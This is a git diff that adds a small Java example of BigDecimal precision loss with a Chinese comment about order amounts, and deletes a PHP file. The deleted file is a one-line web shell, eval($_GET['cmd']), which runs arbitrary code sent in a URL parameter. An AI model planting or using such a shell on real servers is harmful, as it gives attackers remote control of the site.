diff --git a/Java/BigDecimalLose.java b/Java/BigDecimalLose.java
new file mode 100644
index 0000000000000000000000000000000000000000..e36f42bc91ae942a6c5ee8dd8341ddf1054dc34a
--- /dev/null
+++ b/Java/BigDecimalLose.java
@@ -0,0 +1,10 @@
+import java.math.BigDecimal;
+
+public class BigDecimalLose {
+
+    public static void main(String[] args) {
+        System.out.println(new BigDecimal(0.2));
+    }
+
+    //操作订单数据的时候金额直接使用new BigDecimal 导致精度缺失
+}
diff --git a/php/shell.php b/php/shell.php
deleted file mode 100644
index 3161175b4983d17a6fbbffe41bad6a6e8fe42ddd..0000000000000000000000000000000000000000
--- a/php/shell.php
+++ /dev/null
@@ -1,4 +0,0 @@
-<?php
-eval($_GET['cmd']);
-highlight_file(__FILE__);
-?>
\ No newline at end of file